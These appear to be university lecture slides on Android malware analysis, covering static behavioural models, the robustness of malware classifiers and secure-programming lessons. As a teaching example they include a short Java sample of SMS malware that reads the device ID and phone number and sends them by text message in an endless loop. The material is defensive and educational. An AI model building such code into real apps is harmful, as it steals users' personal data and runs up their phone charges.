Outline

▶ Background: Android apps and malware
▶ Example: construct behavioural models for apps
▶ Example: classifiers for detecting malware
▶ Reflection: lessons for secure programming
▶ Conclusion: malware analysis in general
Android apps and markets
Android apps and markets
Example: Flashlight

Description
Brightest Flashlight App – Free of Charge
* Turns on all available lights on the device
* Camera Flash LED at Maximum
* Screen at Bright Maximum
* Keyboard Backlight at Maximum
* Soft Keys Backlight at Maximum

App permissions

Brightest Flashlight Free * needs access to:

Storage
Modify or delete the contents of your SD card

Your location
Approximate location (network-based), precise location (GPS and network-based)

Camera
Take pictures and videos

Phone calls
Read phone status and identity

Network communication
Full network access

See all

ACCEPT
Example: Flashlight

“Why in the world would I want a flashlight app that collects so much info about me?” 😞

“This app is extremely bright and does its job well. I don’t know what others mean when they say that they have so many problems with it.” 😊
How could we know what happens in a malware instance?
Outline

- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general
Android Architecture

Java API Framework:

- Components: Activity, Service, Receiver, Content Provider, etc.
- Lifecycle: organisation of callbacks.
- Inter-procedural call: within a procedure call another procedure.
- Multiple entries: can be triggered by system events.
- Inter-component communication: start a component from another component.
Example: construct behavioural models

- control-dependences of events and API calls
- abstract API calls into permission-like phrases
- over-approximate behavioural aspects of apps
- model inter-component communication
- don’t model data-flows, reflection, or obfuscation
Example: construct behavioural models

Manifest file:

```xml
<activity android:name="com.example.Main">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <action android:name="com.main.intent"/>
    </intent-filter>
</activity>

<receiver android:name="com.example.Receiver">
    <intent-filter>
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>
```
Example: construct behavioural models

Activity:

```java
public class Main extends Activity
    implements View.OnClickListener {
    private static String info = "";
    protected void onCreate(Bundle savedInstanceState) {
        Intent intent = getIntent();
        info = intent.getStringExtra("DEVICE_ID");
        info += intent.getStringExtra("TEL_NUM");
        SendSMSTask task = new SendSMSTask();
        task.execute();
    }
    public void onClick(View v) {
        SendSMSTask task = new SendSMSTask();
        task.execute();
    }

    private class SendSMSTask extends AsyncTask<Void, Void, Void> {
        protected Void doInBackground(Void... params) {
            while (true) {
                SmsManager sms = SmsManager.getDefault();
                sms.sendTextMessage("1234", null, info, null, null);}
            return null;
        }
    }
```
Example: construct behavioural models

Activity’s lifecycle:
Example: construct behavioural models

Activity’s lifecycle:
Example: construct behavioural models

Activity’s behaviour automaton:
Example: construct behavioural models

**Receiver:**

```java
public class Receiver extends BroadcastReceiver {
    public void onReceive(Context context, Intent intent) {
        Intent intent = new Intent();
        intent.setAction("com.main.intent");
        TelephonyManager tm = (TelephonyManager)
            getBaseContext().getSystemService(Context.TELEPHONY_SERVICE);
        intent.putExtra("DEVICE_ID", tm.getDeviceId());
        intent.putExtra("TEL_NUM", tm.getLine1Number());
        sendBroadcast(intent);
    }
}
```

```
 SMS_RECEIVED → ● getDeviceId → ● getLine1Number → ●
```
Example: construct behavioural models

1. **MAIN** → **SMS_RECEIVED**
   - getDeviceId

2. **SMS_RECEIVED** → **sendTextMessage**
   - click

3. **sendTextMessage** → **click**
   - sendTextMessage

4. **click** → **sendTextMessage**
   - click

5. **sendTextMessage** → **click**
   - getLine1Number

6. **getLine1Number** → **sendTextMessage**
   - click

7. **sendTextMessage** → **click**
   - getDeviceId

8. **getDeviceId** → **SEND_SMS**
   - click

9. **SEND_SMS** → **click**
   - READ_PHONE_STATE

10. **READ_PHONE_STATE** → **SEND_SMS**
    - click

11. **SEND_SMS** → **click**
Example: Flashlight

The extended call graphs for Flashlight only considering inter-procedural calls.
Example: Flashlight

The extended call-graph for Flashlight considering lifecycle and inter-component communication.
Example: Flashlight

N: INTERNET (connect to Internet)  VIEW (display data to user)
NS: ACCESS_NETWORK_STATE  L: ACCESS_FINE_LOCATION
C: CAMERA (use cameras)  W: WEAK_LOCK (make the device stay-on)
Questions and Discussion

- How do you think about static analysis?
- Is there any other automatic method which can help our understanding of malware?
- Could static analysis help improve other automatic methods?
Outline

- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general
## Syntax-Based Android Malware Classifiers

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>precision</td>
<td>recall</td>
</tr>
<tr>
<td>permissions</td>
<td>89%</td>
<td>99%</td>
</tr>
<tr>
<td>apis</td>
<td>93%</td>
<td>98%</td>
</tr>
<tr>
<td>all</td>
<td>95%</td>
<td>98%</td>
</tr>
</tbody>
</table>

Robustness of these *well-trained* classifiers is poor.

These classifiers were trained on 3,000 pre-labelled apps using L1-regularised linear regression. Precision denotes the percentage of detected apps are real malware. Recall is the percentage of real malware instances are detected. Ref: Chen et al. More Semantics More Robustness: Improving Android Malware Classifiers. WiSec 16.
Syntax-Based Features — Permissions

- over 200 permissions;
- coarse and lightweight;
- good on validation but poor on testing (new malware): precision 89% ⇝ 55%, recall 99% ⇝ 23%;
- requesting a permission doesn’t mean it will be used.
Syntax-Based Features — API Calls

- over 50,000 APIs;
- precise and lightweight;
- good on validation but poor on testing (new malware): precision 93% ⇝ 62%, recall 98% ⇝ 13%;
- **API calls might appear in dead code and most of them are trivial**;
- malicious behaviour appears in order.
Semantics-Based Features — Reachables

- over 300 reachables;
- performance on testing is improved; the recall reaches 72%.
- performance on validation is not as good as syntax-based; the precision drops to 73%.
Semantics-Based Features — Invoke-Befores

- over 2,000 invoke-befores;
- performance on testing is improved; the recall reaches 70%.
- performance on validation is not as good as syntax-based; the precision drops to 68%.
Semantics-Based — Unwanted Behaviour

Example automata:

\[ M_0 : \]
\[ M_1 : \]
\[ B_0 : \]
\[ B_1 : \]

N: INTERNET (connect to Internet)  V: VIEW (display data to user)
B: BOOT_COMPLETED  R: READ_PHONE_STATE
C: CHANGE_WIFI_STATE (when WIFI state changes)
Semantics-Based — Unwanted Behaviour

\[
F_0 : \text{MAIN} \rightarrow \text{SMS_RECEIVED} \rightarrow \bullet \\
F_1 : \rightarrow \bullet \\
F_2 : \text{SMS_RECEIVED} \rightarrow \text{SEND_SMS} \\
F_3 : \rightarrow \bullet \\
F_4 : \text{SMS_RECEIVED} \rightarrow \text{SEND_SMS} \rightarrow \text{READ_SMS} \rightarrow \text{SEND_SMS} \rightarrow \bullet \\
F_5 : \text{MAIN} \rightarrow \text{SEND_SMS, N} \rightarrow \text{B,V} \rightarrow \bullet \\
\]

\[
F_0 = (M_0 \cap M_1 \cap B_0) - B_1 \\
F_1 = (M_0 \cap M_1 \cap B_1) - B_0 \\
F_2 = ((M_0 \cap M_1) - B_0) - B_1 \\
F_3 = M_0 \cap M_1 \cap B_0 \cap B_1 \\
F_4 = B_1 - ((M_0 \cap M_1) - B_0) \\
F_5 = ((M_0 - M_1) - B_0) - B_1 \\
\]
Syntax-Based vs. Semantics-Based Features

Sign-A: permissions;  Sign-B: actions;  Sign-C: API calls
Policy-A: reachables;  Policy-B: invoke-befores;  Policy-C: unwanted behaviour
### Evaluation — Most Robust General Classifiers

<table>
<thead>
<tr>
<th>Training method</th>
<th>Training feature</th>
<th>$\rho_1$</th>
<th>$\rho_{0.5}$ ↓</th>
</tr>
</thead>
<tbody>
<tr>
<td>NB</td>
<td>actions</td>
<td>76</td>
<td>71</td>
</tr>
<tr>
<td>L1LR</td>
<td>reachables ✓</td>
<td>74</td>
<td>70</td>
</tr>
<tr>
<td>NB</td>
<td>reachables ✓</td>
<td>72</td>
<td>70</td>
</tr>
<tr>
<td>L1LR</td>
<td>unwanted ✓</td>
<td>71</td>
<td>70</td>
</tr>
<tr>
<td>NB</td>
<td>happen-befores ✓</td>
<td>70</td>
<td>67</td>
</tr>
<tr>
<td>SVM</td>
<td>keywords</td>
<td>73</td>
<td>66</td>
</tr>
<tr>
<td>DT</td>
<td>happen-befores ✓</td>
<td>70</td>
<td>65</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>keywords</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>KNN</td>
<td>keywords</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>NB</td>
<td>permissions</td>
<td>71</td>
<td>64</td>
</tr>
<tr>
<td>L1LR</td>
<td>happen-befores ✓</td>
<td>69</td>
<td>64</td>
</tr>
<tr>
<td>RF</td>
<td>happen-befores ✓</td>
<td>69</td>
<td>64</td>
</tr>
<tr>
<td>SEMI</td>
<td>happen-befores ✓</td>
<td>68</td>
<td>63</td>
</tr>
<tr>
<td>NB</td>
<td>keywords</td>
<td>68</td>
<td>59</td>
</tr>
</tbody>
</table>
## Evaluation — Least Robust General Classifiers

<table>
<thead>
<tr>
<th>Training method</th>
<th>Training feature</th>
<th>$\rho_1$</th>
<th>$\rho_{0.5}$ ↑</th>
</tr>
</thead>
<tbody>
<tr>
<td>SEMI</td>
<td>API calls</td>
<td>14</td>
<td>9</td>
</tr>
<tr>
<td>RF</td>
<td>API calls</td>
<td>14</td>
<td>9</td>
</tr>
<tr>
<td>NB</td>
<td>API calls</td>
<td>19</td>
<td>13</td>
</tr>
<tr>
<td>SVM</td>
<td>actions</td>
<td>19</td>
<td>13</td>
</tr>
<tr>
<td>L1LR</td>
<td>actions</td>
<td>21</td>
<td>14</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>actions</td>
<td>21</td>
<td>15</td>
</tr>
<tr>
<td>DT</td>
<td>API calls</td>
<td>25</td>
<td>17</td>
</tr>
<tr>
<td>SVM</td>
<td>API calls</td>
<td>26</td>
<td>18</td>
</tr>
<tr>
<td>KNN</td>
<td>actions</td>
<td>27</td>
<td>19</td>
</tr>
<tr>
<td>AdaBoost</td>
<td>API calls</td>
<td>27</td>
<td>19</td>
</tr>
<tr>
<td>RF</td>
<td>actions</td>
<td>29</td>
<td>20</td>
</tr>
<tr>
<td>SEMI</td>
<td>actions</td>
<td>31</td>
<td>22</td>
</tr>
<tr>
<td>DT</td>
<td>actions</td>
<td>33</td>
<td>23</td>
</tr>
<tr>
<td>L1LR</td>
<td>API calls</td>
<td>35</td>
<td>25</td>
</tr>
</tbody>
</table>
Questions and Discussion

- How do you think about machine learning methods?
- How could we improve the construction of unwanted behaviour? (on-going research)
- Is there any other model we can learn for malware detection? (on-going research)

Website:
http://groups.inf.ed.ac.uk/security/appguarden/Home.html
Predicting the Security Behaviour of Mobile Apps

A new cyber security research (2017-2020) project at University of Edinburgh's School of Informatics funded by the US Office of Naval Research.

Goals

- An abstract functional language to capture security-relevant behaviours
- Type-and-effect systems for policy-specific swift verification
- A semi-supervised learning framework which supports automatic construction and refinement of behavioural security policies

Website: https://davidaspinall.github.io/presbema/
Outline

- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general
Reflection: lessons for secure programming

▶ Don’t request permissions you never use. Notice that third-party libraries often request more permissions.
▶ Avoid using any third-party library (advertisement library) which you think it might cause harm to users (information leakage) or others (turn the smartphone into a bot, Trojans, injection, etc.)
▶ Using static analysis tools to help you understand what happens in these libraries.
▶ Try your best to protect the personal information.
▶ Use obfuscation tools to optimise and protect code.
▶ Avoid using reflection and hidden libraries.
▶ Encrypt any sensitive information.
Outline

- Background: Android apps and malware
- Example: construct behavioural models for apps
- Example: classifiers for detecting malware
- Reflection: lessons for secure programming
- Conclusion: malware analysis in general
Malware: any software that is harmful to people, computers, networks, systems, etc., including: Trojan horses, worms, spyware, adware, ransomware, etc.

Malware analysis: the art (maybe science) of dissecting and understanding what happens in malware, so as to eliminate malware in future.

Limitation: cannot capture unseen malicious patterns which might cause failure to detect new malware.
Malware analysis: techniques

**Reverse engineering**: decompilation and manual investigation.

Precise but very expensive (in days, weeks, or months per app).

**Static analysis**: produce models and check properties without running apps.

- **Basic**: collect meta-information and API calls, hash apps for identification, compression for measuring distances.
  Coarse but efficient (in seconds per app).

- **Advanced**: construct call graphs and data flows, then check safety (bad things will never happen) or liveness (good things will eventually happen) properties, i.e., model checking.
  Expensive (in hours or days per app) and often over-approximated (cover something that will never happen).
Malware analysis: techniques

**Dynamic analysis:** run, emulate, or simulate (part of) an app to produce traces and check properties.

Efficient (in minutes per app) but often **under-approximated** (miss something that will happen) and hard to mimic user input.

**Machine learning:** classification or outlier detection using statistical models.

Efficient (training and detecting in seconds per app) but often **over-fitting** to the training data (not general enough to capture new behaviours) and hard to explain the reasons making a decision.

In general the **goal** is to build abstract models to characterise malicious patterns and infer by exploiting these models.
Malware analysis: techniques

Precision
- Reverse engineering
- Advanced static analysis
- Dynamic analysis
- Basic static analysis

Efficiency

Comprehension
- Reverse engineering
- Advanced static analysis
- Dynamic analysis
- Machine learning
- Basic static analysis

Automation
Further Readings


Chen et al. On Robust Malware Classifiers by Verifying Unwanted Behaviours. iFM 16.
